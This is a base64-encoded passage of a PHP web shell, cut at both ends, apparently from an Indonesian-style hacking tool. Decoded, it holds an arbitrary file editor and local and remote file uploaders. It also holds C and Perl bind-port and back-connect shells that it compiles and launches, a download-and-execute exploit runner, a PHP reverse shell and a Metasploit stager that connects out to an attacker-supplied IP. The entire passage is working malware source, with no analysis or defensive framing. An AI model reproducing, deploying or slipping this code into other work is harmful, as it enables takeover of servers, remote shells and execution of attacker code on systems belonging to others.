ICAgICAgICAkY29udGVudCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ2NvbnRlbnQnXSk7CiAgICAgICAgaWYgKCRmaWxleiA9IEBmb3BlbigkZmlsZSwgInciKSkgewogICAgICAgICAgICAkdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsIHRpbWUoKSk7CiAgICAgICAgICAgIGlmIChAZndyaXRlKCRmaWxleiwgJGNvbnRlbnQpKQogICAgICAgICAgICAgICAgJG1zZyA9ICJmaWxlIHNhdmVkIDxzcGFuIGNsYXNzPSdnYXlhJz5APC9zcGFuPiAiIC4gJHRpbWU7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiOwogICAgICAgICAgICBAZmNsb3NlKCRmaWxleik7CiAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICRtc2cgPSAicGVybWlzc2lvbiBkZW5pZWQiOwogICAgfQogICAgaWYgKCFpc3NldCgkZmlsZSkpCiAgICAgICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOwogICAgaWYgKCRmaWxleiA9IEBmb3BlbigkZmlsZSwgInIiKSkgewogICAgICAgICRjb250ZW50ID0gIiI7CiAgICAgICAgd2hpbGUgKCFmZW9mKCRmaWxleikpIHsKICAgICAgICAgICAgJGNvbnRlbnQgLj0gaHRtbGVudGl0aWVzKHN0cl9yZXBsYWNlKCInJyIsICInIiwgZmdldHMoJGZpbGV6KSkpOwogICAgICAgIH0KICAgICAgICBAZmNsb3NlKCRmaWxleik7CiAgICB9Cj8+PGZvcm0gYWN0aW9uPSI/c2FkPTw/cGhwCiAgICBlY2hvICRwd2Q7Cj8+JmFtcDtlZGl0PTw/cGhwCiAgICBlY2hvICRmaWxlOwo/PiIgbWV0aG9kPSJwb3N0Ij4gPHRhYmxlIGNsYXNzPSJjbWRib3giPiA8dHI+PHRkIGNvbHNwYW49IjIiPgo8dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY29udGVudCI+IAo8P3BocAogICAgZWNobyAkY29udGVudDsKPz48L3RleHRhcmVhPiA8dHI+Cjx0ZCBjb2xzcGFuPSIyIj5TYXZlIGFzIDxpbnB1dCBvbk1vdXNlT3Zlcj0idGhpcy5mb2N1cygpIiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJzYXZlYXMiIHN0eWxlPSJ3aWR0aDo2MCUiIHZhbHVlPSI8P3BocAogICAgZWNobyAkZmlsZTsKPz4iIC8+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTYXZlICEiIG5hbWU9InNhdmUiIHN0eWxlPSJ3aWR0aDoxMiUiIC8+CiZuYnNwOzw/cGhwCiAgICBlY2hvICRtc2c7Cj8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiA8P3BocAp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3VwbG9hZCcpKSB7CiAgICBpZiAoaXNzZXQoJF9QT1NUWyd1cGxvYWRjb21wJ10pKSB7CiAgICAgICAgaWYgKGlzX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKSkgewogICAgICAgICAgICAkcGF0aCAgICAgPSBtYWdpY2Jvb20oJF9QT1NUWydwYXRoJ10pOwogICAgICAgICAgICAkZm5hbWUgICAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsKICAgICAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICAgICAkcGluZGFoICAgPSAkcGF0aCAuICRmbmFtZTsKICAgICAgICAgICAgJHN0YXQgICAgID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsICRwaW5kYWgpOwogICAgICAgICAgICBpZiAoJHN0YXQpIHsKICAgICAgICAgICAgICAgICRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjsKICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAkbXNnID0gImZhaWxlZCB0byB1cGxvYWQgJGZuYW1lIjsKICAgICAgICB9IGVsc2UKICAgICAgICAgICAgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7CiAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWyd1cGxvYWR1cmwnXSkpIHsKICAgICAgICAkcGlsaWhhbiAgPSB0cmltKCRfUE9TVFsncGlsaWhhbiddKTsKICAgICAgICAkd3VybCAgICAgPSB0cmltKCRfUE9TVFsnd3VybCddKTsKICAgICAgICAkcGF0aCAgICAgPSBtYWdpY2Jvb20oJF9QT1NUWydwYXRoJ10pOwogICAgICAgICRuYW1hZmlsZSA9IGRvd25sb2FkKCRwaWxpaGFuLCAkd3VybCk7CiAgICAgICAgJHBpbmRhaCAgID0gJHBhdGggLiAkbmFtYWZpbGU7CiAgICAgICAgaWYgKGlzX2ZpbGUoJHBpbmRhaCkpIHsKICAgICAgICAgICAgJG1zZyA9ICJmaWxlIHVwbG9hZGVkIHRvICRwaW5kYWgiOwogICAgICAgIH0gZWxzZQogICAgICAgICAgICAkbXNnID0gImZhaWxlZCB0byB1cGxvYWQgJG5hbWFmaWxlIjsKICAgIH0KPz4KPGZvcm0gYWN0aW9uPSI/c2FkPTw/cGhwCiAgICBlY2hvICRwd2Q7Cj8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHN0eWxlPSJ3aWR0aDozMjBweDtwYWRkaW5nOjAgMXB4Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5Mb2NhbDwvdGg+PC90cj4gPHRyPjx0ZCBjb2xzcGFuPSIyIj48cCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMCIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWRjb21wIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDo4MHB4Ij48L3A+PC90ZD4gPHRyPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JSIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwCiAgICBlY2hvICRwd2Q7Cj8+IiAvPjwvdGQ+PC90cj4gPC90cj4gPC90YWJsZT48L2Zvcm0+IDx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweCI+IDx0cj48dGggY29sc3Bhbj0iMiI+UmVtb3RlPC90aD48L3RyPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCIgYWN0aW9ucz0iP3NhZD08P3BocAogICAgZWNobyAkcHdkOwo/PiZhbXA7eD11cGxvYWQiPiA8dGFibGU+PHRyPjx0ZD5saW5rPC90ZD4KPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHgiIHZhbHVlPSJodHRwOi8vc2l0ZS9maWxlLioiPjwvdGQ+PC90cj4gPHRyPjx0ZCBjb2xzcGFuPSIyIj4KPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIHN0eWxlPSJ3aWR0aDo5OSUiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocAogICAgZWNobyAkcHdkOwo/PiIgLz48L3RkPjwvdHI+IDx0cj48dGQ+PHNlbGVjdCBzaXplPSIxIiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJwaWxpaGFuIj4gPG9wdGlvbiB2YWx1ZT0id3dnZXQiPndnZXQ8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2x5bngiPmx5bng8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2ZyZWFkIj5mcmVhZDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZmV0Y2giPmZldGNoPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndsaW5rcyI+bGlua3M8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2dldCI+R0VUPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndjdXJsIj5jdXJsPC9vcHRpb24+IDwvc2VsZWN0PjwvdGQ+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVwbG9hZHVybCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6MjQ2cHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPiA8L3RyPiA8L3RhYmxlPiA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4Ij48P3BocAogICAgZWNobyAkbXNnOwo/PjwvZGl2Pgo8P3BocAp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ25ldHNwbG9pdCcpKSB7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydiaW5kJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pICYmICgkX1BPU1RbJ3VzZSddID09ICdDJykpIHsKICAgICAgICAkcG9ydCAgICA9IHRyaW0oJF9QT1NUWydwb3J0J10pOwogICAgICAgICRwYXNzd3JkID0gdHJpbSgkX1BPU1RbJ2JpbmRfcGFzcyddKTsKICAgICAgICB0dWxpcygiYmRjLmMiLCAkcG9ydF9iaW5kX2JkX2MpOwogICAgICAgIGV4ZSgiZ2NjIC1vIGJkYyBiZGMuYyIpOwogICAgICAgIGV4ZSgiY2htb2QgNzc3IGJkYyIpOwogICAgICAgIEB1bmxpbmsoImJkYy5jIik7CiAgICAgICAgZXhlKCIuL2JkYyAiIC4gJHBvcnQgLiAiICIgLiAkcGFzc3dyZCAuICIgJiIpOwogICAgICAgICRzY2FuID0gZXhlKCJwcyBhdXgiKTsKICAgICAgICBpZiAoZXJlZ2koIi4vYmRjICRwb3IiLCAkc2NhbikpIHsKICAgICAgICAgICAgJG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtc2cgPSAiPHA+UHJvY2VzcyBGYWlsZWQ8L3A+IjsKICAgICAgICB9CiAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydiaW5kJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pICYmICgkX1BPU1RbJ3VzZSddID09ICdQZXJsJykpIHsKICAgICAgICAkcG9ydCAgICA9IHRyaW0oJF9QT1NUWydwb3J0J10pOwogICAgICAgICRwYXNzd3JkID0gdHJpbSgkX1BPU1RbJ2JpbmRfcGFzcyddKTsKICAgICAgICB0dWxpcygiYmRwIiwgJHBvcnRfYmluZF9iZF9wbCk7CiAgICAgICAgZXhlKCJjaG1vZCA3NzcgYmRwIik7CiAgICAgICAgJHAyID0gd2hpY2goInBlcmwiKTsKICAgICAgICBleGUoJHAyIC4gIiBiZHAgIiAuICRwb3J0IC4gIiAmIik7CiAgICAgICAgJHNjYW4gPSBleGUoInBzIGF1eCIpOwogICAgICAgIGlmIChlcmVnaSgiJHAyIGJkcCAkcG9ydCIsICRzY2FuKSkgewogICAgICAgICAgICAkbXNnID0gIjxwPlByb2Nlc3Mgc3VjY2Vzc2VkPC9wPiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iOwogICAgICAgIH0KICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JhY2tjb25uJ10pICYmICFlbXB0eSgkX1BPU1RbJ2JhY2twb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICgkX1BPU1RbJ3VzZSddID09ICdDJykpIHsKICAgICAgICAkaXAgICA9IHRyaW0oJF9QT1NUWydpcCddKTsKICAgICAgICAkcG9ydCA9IHRyaW0oJF9QT1NUWydiYWNrcG9ydCddKTsKICAgICAgICB0dWxpcygiYmNjLmMiLCAkYmFja19jb25uZWN0X2MpOwogICAgICAgIGV4ZSgiZ2NjIC1vIGJjYyBiY2MuYyIpOwogICAgICAgIGV4ZSgiY2htb2QgNzc3IGJjYyIpOwogICAgICAgIEB1bmxpbmsoImJjYy5jIik7CiAgICAgICAgZXhlKCIuL2JjYyAiIC4gJGlwIC4gIiAiIC4gJHBvcnQgLiAiICYiKTsKICAgICAgICAkbXNnID0gInRyeWluZyB0byBjb25uZWN0IHRvICIgLiAkaXAgLiAiIG9uIHBvcnQgIiAuICRwb3J0IC4gIiAuLi4iOwogICAgfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgewogICAgICAgICRpcCAgID0gdHJpbSgkX1BPU1RbJ2lwJ10pOwogICAgICAgICRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pOwogICAgICAgIHR1bGlzKCJiY3AiLCAkYmFja19jb25uZWN0KTsKICAgICAgICBleGUoImNobW9kICt4IGJjcCIpOwogICAgICAgICRwMiA9IHdoaWNoKCJwZXJsIik7CiAgICAgICAgZXhlKCRwMiAuICIgYmNwICIgLiAkaXAgLiAiICIgLiAkcG9ydCAuICIgJiIpOwogICAgICAgICRtc2cgPSAiVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIiAuICRpcCAuICIgb24gcG9ydCAiIC4gJHBvcnQgLiAiIC4uLiI7CiAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkgewogICAgICAgICRwaWxpaGFuICA9IHRyaW0oJF9QT1NUWydwaWxpaGFuJ10pOwogICAgICAgICR3dXJsICAgICA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOwogICAgICAgICRuYW1hZmlsZSA9IGRvd25sb2FkKCRwaWxpaGFuLCAkd3VybCk7CiAgICAgICAgaWYgKGlzX2ZpbGUoJG5hbWFmaWxlKSkgewogICAgICAgICAgICAkbXNnID0gZXhlKCR3Y21kKTsKICAgICAgICB9IGVsc2UKICAgICAgICAgICAgJG1zZyA9ICJlcnJvcjogZmlsZSBub3QgZm91bmQgJG5hbWFmaWxlIjsKICAgIH0KPz48YnI+PGJyPjxicj48YnI+IDx0YWJsZSBjbGFzcz0idGFibmV0Ij4gPHRyPjx0aD5CaW5kIFBvcnQ8L3RoPjx0aD5CYWNrIGNvbm5lY3Q8L3RoPjx0aD5kb3dubG9hZCBhbmQgRXhlYzwvdGg+PC90cj48dHI+PHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3NhZD08P3BocAogICAgZWNobyAkcHdkOwo/PiZhbXA7eD1uZXRzcGxvaXQiPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwCiAgICBlY2hvICRiaW5kcG9ydDsKPz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAKICAgIGVjaG8gJGJpbmRwb3J0X3Bhc3M7Cj8+Ij48L3RkPjwvdHI+IDx0cj48dGQ+VXNlPC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246anVzdGlmeSI+PHA+PHNlbGVjdCBjbGFzcz0iaW5wdXR6IiBzaXplPSIxIiBuYW1lPSJ1c2UiPjxvcHRpb24gdmFsdWU9IlBlcmwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJDIj5DPC9vcHRpb24+PC9zZWxlY3Q+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iYmluZCIgdmFsdWU9IkJpbmQiIHN0eWxlPSJ3aWR0aDoxMjBweCI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPiA8L3RkPiA8dGQ+PHRhYmxlPiA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbnM9Ij9zYWQ9PD9waHAKICAgIGVjaG8gJHB3ZDsKPz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPklQPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImlwIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwCiAgICBlY2hvICgoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA/IChnZXRlbnYoJ1JFTU9URV9BRERSJykpIDogKCIxMjcuMC4wLjEiKSk7Cj8+Ij48L3RkPjwvdHI+IDx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiYWNrcG9ydCIgc2l6ZT0iMjYiIHZhbHVlPSI8P3BocAogICAgZWNobyAkYmluZHBvcnQ7Cj8+Ij48L3RkPjwvdHI+IDx0cj48dGQ+VXNlPC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246anVzdGlmeSI+PHA+PHNlbGVjdCBzaXplPSIxIiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJ1c2UiPjxvcHRpb24gdmFsdWU9IlBlcmwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJDIj5DPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJhY2tjb25uIiB2YWx1ZT0iQ29ubmVjdCIgY2xhc3M9ImlucHV0emJ1dCIgc3R5bGU9IndpZHRoOjEyMHB4Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+IDwvdGQ+IDx0ZD4gPHRhYmxlPiA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbnM9Ij9zYWQ9PD9waHAKICAgIGVjaG8gJHB3ZDsKPz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPnVybDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHgiIHZhbHVlPSJ3d3cuc29tZS1jb2RlL2V4cGxvaXRzLmMiPjwvdGQ+PC90cj48dHI+PHRkPmNtZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3Y21kIiBzdHlsZT0id2lkdGg6MjUwcHgiIHZhbHVlPSJnY2MgLW8gZXhwbG9pdHMgZXhwbG9pdHMuYztjaG1vZCAreCBleHBsb2l0czsuL2V4cGxvaXRzOyI+PC90ZD4gPC90cj4gPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPiA8b3B0aW9uIHZhbHVlPSJ3d2dldCI+d2dldDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmZXRjaCI+ZmV0Y2g8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleHBjb21waWxlIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDoyNDZweCI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PC90cj48L3RhYmxlPjxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHgiPjw/cGhwCiAgICBlY2hvICRtc2c7Cj8+PC9kaXY+PGJyPgo8P3BocAogICAgZXJyb3JfcmVwb3J0aW5nKDApOwogICAgZnVuY3Rpb24gc3MoJHQpCiAgICB7CiAgICAgICAgaWYgKCFnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQogICAgICAgICAgICByZXR1cm4gdHJpbSh1cmxkZWNvZGUoJHQpKTsKICAgICAgICByZXR1cm4gdHJpbSh1cmxkZWNvZGUoc3RyaXBzbGFzaGVzKCR0KSkpOwogICAgfQogICAgJHNfbXlfaXAgICA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgICRyc3BvcnQgICAgPSAiNDQzIjsKICAgICRyc3BvcnRiNCAgPSAkcnNwb3J0OwogICAgJHJzdGFyZ2V0NCA9ICRzX215X2lwOwogICAgJHNfcmVzdWx0ICA9ICI8Y2VudGVyPjxkaXYgY2xhc3M9J215Ym94JyBhbGlnbj0nY2VudGVyJz48dGQ+PGgyPlJldmVyc2Ugc2hlbGwgKCBwaHAgKTwvaDI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb25zPSc/c2FkPTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD0nbmV0c3Bsb2l0Jz48dGFibGUgY2xhc3M9J215Ym94dGJsJz48dHI+PHRkIHN0eWxlPSd3aWR0aDoxMDBweDsnPllvdXIgSVA8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdyc3RhcmdldDQnIHZhbHVlPSciIC4gJHJzdGFyZ2V0NCAuICInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIgLiAkcnNwb3J0YjQgLiAiJyAvPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3hiYWNrX3BocCcgY2xhc3M9J2lucHV0emJ1dCcgdmFsdWU9J2Nvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7JyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2QnIHZhbHVlPSciIC4gJHB3ZCAuICInIC8+PC9mb3JtPjwvdGQ+PGhyIGNvbG9yPScjNEM4M0FGJz48dGQ+PGZvcm0gbWV0aG9kPSdQT1NUJz48dGFibGUgY2xhc3M9J215Ym94dGJsJz48aDI+TWV0YXNwbG9pdCBDb25uZWN0aW9uIDwvaDI+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgc2l6ZT0nNDAnIG5hbWU9J3lpcCcgdmFsdWU9JyIgLiAkbXlfaXAgLiAiJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj4iOwogICAgZWNobyAkc19yZXN1bHQ7CiAgICBpZiAoJF9QT1NUWydtZXRhQ29ubmVjdCddKSB7CiAgICAgICAgJGlwYWRkciA9ICRfUE9TVFsneWlwJ107CiAgICAgICAgJHBvcnQgICA9ICRfUE9TVFsneXBvcnQnXTsKICAgICAgICBpZiAoJGlwID09ICIiICYmICRwb3J0ID09ICIiKSB7CiAgICAgICAgICAgIGVjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKEZBTFNFICE9PSBzdHJwb3MoJGlwYWRkciwgIjoiKSkgewogICAgICAgICAgICAgICAgJGlwYWRkciA9ICJbIiAuICRpcGFkZHIgLiAiXSI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCdzdHJlYW1fc29ja2V0X2NsaWVudCcpKSB7CiAgICAgICAgICAgICAgICAkbXNnc29jayA9IHN0cmVhbV9zb2NrZXRfY2xpZW50KCJ0Y3A6Ly97JGlwYWRkcn06eyRwb3J0fSIpOwogICAgICAgICAgICAgICAgaWYgKCEkbXNnc29jaykgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nOwogICAgICAgICAgICB9IGVsc2VpZiAoaXNfY2FsbGFibGUoJ2Zzb2Nrb3BlbicpKSB7CiAgICAgICAgICAgICAgICAkbXNnc29jayA9IGZzb2Nrb3BlbigkaXBhZGRyLCAkcG9ydCk7CiAgICAgICAgICAgICAgICBpZiAoISRtc2dzb2NrKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbXNnc29ja190eXBlID0gJ3N0cmVhbSc7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc19jYWxsYWJsZSgnc29ja2V0X2NyZWF0ZScpKSB7CiAgICAgICAgICAgICAgICAkbXNnc29jayA9IHNvY2tldF9jcmVhdGUoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOwogICAgICAgICAgICAgICAgJHJlcyAgICAgPSBzb2NrZXRfY29ubmVjdCgkbXNnc29jaywgJGlwYWRkciwgJHBvcnQpOwogICAgICAgICAgICAgICAgaWYgKCEkcmVzKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbXNnc29ja190eXBlID0gJ3NvY2tldCc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBzd2l0Y2ggKCRtc2dzb2NrX3R5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgJ3N0cmVhbSc6CiAgICAgICAgICAgICAgICAgICAgJGxlbiA9IGZyZWFkKCRtc2dzb2NrLCA0KTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3NvY2tldCc6CiAgICAgICAgICAgICAgICAgICAgJGxlbiA9IHNvY2tldF9yZWFkKCRtc2dzb2NrLCA0KTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoISRsZW4pIHsKICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRhICAgICAgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsKICAgICAgICAgICAgJGxlbiAgICA9ICRhWydsZW4nXTsKICAgICAgICAgICAgJGJ1ZmZlciA9ICcnOwogICAgICAgICAgICB3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbikgewogICAgICAgICAgICAgICAgc3dpdGNoICgkbXNnc29ja190eXBlKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnc3RyZWFtJzoKICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbiAtIHN0cmxlbigkYnVmZmVyKSk7CiAgICAgICAgICAg